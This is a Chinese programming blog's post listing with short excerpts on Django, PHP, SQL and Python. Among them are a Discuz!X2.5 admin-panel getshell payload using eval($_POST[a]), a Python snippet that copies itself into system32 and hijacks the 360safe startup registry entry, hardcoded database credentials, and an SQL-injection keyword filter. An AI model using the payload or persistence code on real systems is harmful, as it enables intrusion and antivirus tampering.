自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(77)
  • 资源 (2)
  • 收藏
  • 关注

原创 django 配置404,500页面

z注意:如果加载admin页面css的样式,需要将admin css所有的样式放到static目录下。6.随便输入一个错误的地址,将显示你自定义的错误页面。1.首先将settings设置debug=false;2.设置static路径。5.将自定义的400.diango 自定义404 500页面。和500.html放到根模板下。

2014-05-16 16:01:23 8385 1

原创 编写.ini文件

from ConfigParser import RawConfigParser as rcp if __name__ == "__main__": cfg = rcp() cfg.add_section("Info") cfg.set("Info", "ImagePath", "f:/whu") cfg.set("Info", "foo", "cd'

2014-05-16 16:00:12 2058

转载 Python进阶——安装Python、程序执行、Python模块和IDLE调试

近几年来,随着Google、YouTube、IRobot等大公司对Python语言的广泛使用,Python公司的身影经常出现与我们的视线,Python语言也在软件质量、开发效率、程序的可移植性、标准库的支持等方面成为了一个优秀的程序开发语言,可以完成网站、游戏开发到航空航天控制等领域的各种任务。本栏目希望通过学习《Python学习手册》和网站上的相关指导,从零学习Python,希望对大家有一些帮助

2014-05-16 15:59:10 926

原创 常用的Shell命令-目录和文件操作

查看当前目录相对于根目录的位置pwd查看当前目录内容ls以长格式查看当前目录内容。对应每个文件的条目将包括连接数目、所有者、大小、最后修改时间、权限等内容ls -l改变当前目录。目的目录名可用相对路径表示,也可以用绝对路径表示。cd [目的目录名]转移到上一级目录cd ..创建目录mkdir [新目录名]例:mkdir ar/ftp删除空目录

2014-05-12 15:49:40 635

原创 研发大型PHP项目的方法

这篇文章介绍了在php中的面向对象编程(oop,object oriented programming)。我将向你演示怎么通过使用一些oop的概念和php的技巧来减少编码和提高质量。祝你好运! 面向对象编程的概念: 不同的作者之间说法可能不相同,不过一个oop语言必须有以下几方面: 抽象数据类型和信息封装 继承 多态 在php中是通过类来完成封装的: --------------

2014-04-16 16:21:08 1376 1

转载 利用sql查询每组第一个数据

本文章来至源码世界 http://www.ymsky.net/views/111572.shtml 今天在一个.NET群里看到有个人问如何查找到每组第一个人的全部信息,当时自己也在忙着公司的和学校的需求报告,但是自己也是希望尝试一下的,就让他先把数据库给我,在完成了该完成任务的时候,我还是很乐意的帮助那些需要帮助的人了,可是还是挺悲剧的,我的Sql2008打不开他的数据库(因为Sq

2014-04-11 15:49:27 4264

转载 SQL Server 2012中的Contained Database尝试

本文章来至源码世界 http://www.ymsky.net/views/111573.shtml简介    SQL Server 2012新增的Contained Database是为了解决数据库在不同SQL Server实例之间迁移的问题。在以往的情况下,数据库本身并不包含一些实例级别的配置参数(比如:数据库的一些metadata和登录名之类的)将数据库从一台服务器迁移

2014-04-11 15:46:17 486

原创 SQL巧用XML PATH来生成符合规则的查询结果集

在查询后面在FOR     XML PATH可以生成XML格式结果集,好好利用这个技术,可以实现很多意想不到的查询效果最简单的用法:SELECT USERID,USERNAME FROM DBO.USER_INFO FOR XML PATH结果类似这样  6  ding25901  10  zhong  11  yanxunhan我们看到是以XML格式来显示的,注

2014-04-11 15:43:58 590

转载 SQL Server 2012新增的内置函数尝试

本文章来至源码世界 http://www.ymsky.net/views/111577.shtml

2014-04-11 15:41:54 644

原创 PHP实现对文本数据库的数据显示、加入、修改、删除、查询

PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法我用一个留言本程序作为例子,阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。此文本数据库共有字段10个:客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。1、加入数据程序段。$date=date("Y-m-d H:i:s

2014-04-07 16:39:39 2479

原创 PHP程序员最易犯10种错误

PHP是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种 1.不转意html entities一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。echo $_GET[usename] ;这个例子有可能输出:/*更改admi

2014-04-07 16:38:31 864

原创 php 登录代码

<?error_reporting(0);$mysql_servername = "localhost"; //主机地址$mysql_username = "root"; //数据库用户名$mysql_password ="a1234567"; //数据库密码$mysql_database ="zhuang"; //数据库mysql_connect($mysql_servername

2014-04-07 16:36:39 916

原创 php身份证方面的函数

写了几个身份证方面的函数,个人感觉挺有用的,特别是在网络问卷调查时,对个人信息里的身份证进行验证很有用,但是应者寥寥,还是收在自己的blog里算了。 // 计算身份证校验码,根据国家标准GB 11643-1999 function idcard_verify_number($idcard_base){    if (strlen($idcard_base) != 17){ return f

2014-04-07 16:35:52 1392

转载 六间房一个sql注射

本文章来至源码世界 http://www.ymsky.net/views/101578.shtml

2014-04-07 16:34:26 595

原创 Discuz!X2.5最新版后台管理员权限Getshell及修复

Discuz!X2.5最新版后台管理员权限Getshell。 1.在后台-->站长-->Ucenter设置处设置UcenterIP为XX\\');eval($_POST[a])?>;// XX 2.发现管理页面代码出来了 3.上菜刀! 4.看一下源码,哦,原来是这样的!  修复方案:过滤你懂的本文章来至源码世界 http://www.ymsky.

2014-04-07 16:33:28 2270

转载 动态显示可输入的字数

还可以输入15字数js:function setShowLength(obj, maxlength, id){ var rem = maxlength - obj.value.length; var wid = id; if (rem < 0){ rem = 0; } document.getElementById(wid).inner

2014-04-01 14:20:54 747

原创 php gb2312转big5 函数

本文章来至源码世界 http://www.ymsky.net/views/51397.shtmlfunction GB2312toBIG5($c) {$f = fopen(CODETABLE_DIR.$this->config['GBtoBIG5_table'], ‘r’);$max=strlen($c)-1;for($i = 0;$i =160) {$l=ord($

2014-04-01 14:20:16 839

原创 【网站安全】自定义MD5加强安全性

function md123($sstr){$md_asc=”";$mds=md5(“qwEqw”.$sstr.”2ddsdf”);$mds=md5(“rtrTtyr”.$mds.”zcv34r”);for($i=1;$i< strlen($mds);$i++){$md_asc.=168/ord(substr($mds,$i,1));}return md5($md_asc);}

2014-04-01 14:19:17 911

原创 一个用python写的用命令行看糗百的小工具

#!/usr/bin/python#coding:utf-8#作者:Byron#博客:http://jiabin.tkimport urllib2import re#定义程序主函数def qiubai(page): url = "http://www.qiushibaike.com/week/page/%d" % page re_qb = re.compile(r

2014-04-01 14:13:32 611

原创 pyscws4 是一个python的分词程序

#coding=gbkimport osimport structimport sysreload(sys)sys.setdefaultencoding('gbk')XDB_VERSION = 34 # 0x01 ~ 0xffXDB_TAGNAME = 'XDB' # First bytesXDB_MAXKLEN = 0xf0 # maxklen: < 255class XDB

2014-04-01 14:12:46 1003

原创 解析xml文本

# parsexml.py # 本例子参考自python联机文档,做了适当改动和添加 import xml.parsers.expat # 控制打印缩进 level = 0 # 获取某节点名称及属性值集合 def start_element(name, attrs): global level print ' '*level, '

2014-04-01 14:11:49 878

原创 pop3协议收取邮件

# pop3.py import poplib emailServer = poplib.POP3('your pop3 server name') emailServer.user('your mail account') emailServer.pass_('your mail password') # 设

2014-04-01 14:10:57 758

原创 用python修改注册表干掉360safe

import _winreg import osimport shutil #复制自身shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe) #把360启动改为自身run = _winreg.OpenKey(      _winreg.HKEY_LOCAL_MACHINE,      "SOFTWAREMicrosoftWindow

2014-04-01 14:10:05 1267

原创 用PHP来计算某个目录的大小

PHP CURL session COOKIE 可以调用系统命令,还可以这样:function dirsize($dir) {@$dh = opendir($dir);$size = 0;while ($file = @readdir($dh)) {if ($file != "." and $file != "..") {$path = $dir."/".$file;if (is_dir($pa

2014-03-29 16:04:21 437

原创 php Memcache 中实现消息队列

Memcache 一般用于缓存服务。但是很多时候,比如一个消息广播系统,需要一个消息队列。直接从数据库取消息,负载往往不行。如果将整个消息队列用一个key缓存到memcache里面. 对于一个很大的消息队列,频繁进行进行大数据库的序列化 和 反序列化,有太耗费。下面是我用PHP 实现的一个消息队列,只需要在尾部插入一个数据,就操作尾部,不用操作整个消息队列进行读取,与操作。但是,这个消息队列不

2014-03-29 16:03:04 1702

原创 PHP 获取栏目的【所有子级和孙级栏目】的ID号

//@获取子栏目ID号 private function sonCategoryIds($categoryID) { //@初始化栏目数组 $array[] = $categoryID; do { $ids = ''; $temp = $this->my

2014-03-29 16:01:25 2933

原创 源码世界讲解 php防止sql注入

function inject_check($sql_str) { return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);} function verify_id($id=null) { if(!$i

2014-03-29 15:59:55 966

原创 PHP获取浏览器型号

function userBrowser(){ $user_OSagent = $_SERVER['HTTP_USER_AGENT']; if(strpos($user_OSagent,"Maxthon") && strpos($user_OSagent,"MSIE")) { $visitor_browser ="Ma

2014-03-29 15:58:57 755

原创 使用nginx和php实时产生缩略图

#假设,服务器上面有一个文件:abc.jpg,通过http://filefs.domain.com/file/abc.jpg能够访问到原图。其#实一般的,我们在数据库里面也就保存了“/file/abc.jpg”这部分内容。#现在,我们要实现通过http://filefs.domain.com/file/abc.jpg.w320.jpg由服务器自动产生#abc.jpg.w320.jpg(w320,

2014-03-29 15:58:14 1323

原创 关于in_array() foreach array_search() 的性能对比

<?php /* *Powered by [email protected] QQ 285305740 */ echo '结论:in_array与array_search效率几乎相同,in_array仅返回真伪,array_search同时返回位置.foreach性能最差'; $runtime= new runtime; $runtime->star

2014-03-29 15:57:22 5198 1

原创 PHP与MongoDB简介|安全|M+PHP应用实例

一、MongoDB简介MongoDB (名称来自"humongous") 是一个可扩展的、高性能、开源、模式自由、面向文档的数据库,集文档数据库、键值对存储和关系型数据库的优点于一身。官方站点:http://www.mongodb.org/,MongoDB特点:•面向文档存储(类JSON数据模式简单而强大)•动态查询•全索引支持,扩展到内部对象和内嵌数组•查询记录分析•快速,就地更

2014-03-29 15:56:28 1011

原创 file_get_contents和curl

< ?phpfunction vita_get_url_content($url) {if(function_exists(file_get_contents)) {$file_contents = file_get_contents($url);} else {$ch = curl_init();$timeout = 5;curl_setopt ($ch, CURLOPT_URL,

2014-03-28 17:29:56 849

原创 php 实时汇率接口

前一段时间网站一直用xe网站的数据,用着用着发现被xe禁止了 Automated extraction of our content is prohibited。 所有不得不找其他网站进行添加,加了个google的,发现不是实时汇率更新,具体不太清楚是1天还2天, 寻找一圈发现yahoo的还可以,更新频率大约是1小时一更新 ,写了个接口给大家分享 function getE

2014-03-28 17:29:14 4346

原创 php5.2 Json不能正确处理中文的解决办法

php5.2新增的json功能是非常受欢迎的,但是经过测试发现,json_encode对中文的处理是有问题的,1.不能处理GB编码,所有的GB编码都会替换成空字符.2.utf8编码的中文被编码成unicode编码,相当于javascript的escape函数处理的结果./*为了能正确使用json,首先我们就应该在编码上采用utf8编码,然后再对json_encode的返回结果稍

2014-03-28 17:28:24 1897

原创 PHP Push 服务器端代码

function server() { for ($i = 0, $timeout = 10; $i < $timeout; $i++) { if (connection_status() != 0) { exit(); } $where = array(); $user_id = $user_id = get_user_id(); session_wri

2014-03-28 17:27:12 806

原创 自动运行php文件

所谓任务计划就是由计算机自动调用用户事先设置好的应用程序,从而达到简化用户操作的目的。利用Windows 2000的任务计划程序(相当与*NIX下的cron程序,这里不再对其详述),我们可以安排任何脚本、程序或文档在最恰当的时候运行,从而满足自己的需 要。下面以Windows 2000为例。  具体来说,我们若需利用任务计划程序自动运行则应执行如下步骤:  1.单击”开始”按钮,然后依次选择”程

2014-03-28 17:26:13 2753

原创 函数getimagesize获得图片的长宽等信息

函数getimagesize返回一个具有四个单元的数组。 索引 0 包含图像宽度的像素值, 索引 1 包含图像高度的像素值。 索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,1

2014-03-28 17:25:21 1338

原创 PHP程序核心配置文件一般模式

<?php/* * 文件名:config.php * 功 能:程序核心配置文件 * 日 期:2010-04-30 * 作 者:[email protected] */if(!defined('IN_CART')){ //防止站外引用 exit('Access Denied');}define('TIME_ZONE','PRC'); //默认时区define('CHARS

2014-03-28 17:24:34 699

原创 Python 抓取图片示例

#!/usr/bin/python# -*- coding:utf-8 -*-import reimport osimport urllib, urllib2, cookielibimport shutilfrom BeautifulSoup import BeautifulSoup # ---- utils ----def normalize_url(url): re

2014-03-28 17:21:42 882

原创 php获取文件类型和文件信息操作

<?php$file = "php.txt";//打开文件,r表示以只读方式打开$handle = fopen($file,"r");//获取文件的统计信息$fstat = fstat($handle);echo "文件名:".basename($file)."";//echo "文件大小:".round(filesize("$file")/1024,2)."kb";echo "文

2014-03-27 20:33:06 1481

jquery弹出层 简单 超炫

jquery弹出层 简单实用 超炫 jq特效

2012-10-30

ie6 火狐 谷歌 png背景透明

ie6 火狐 谷歌 png背景透明

2011-12-12

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除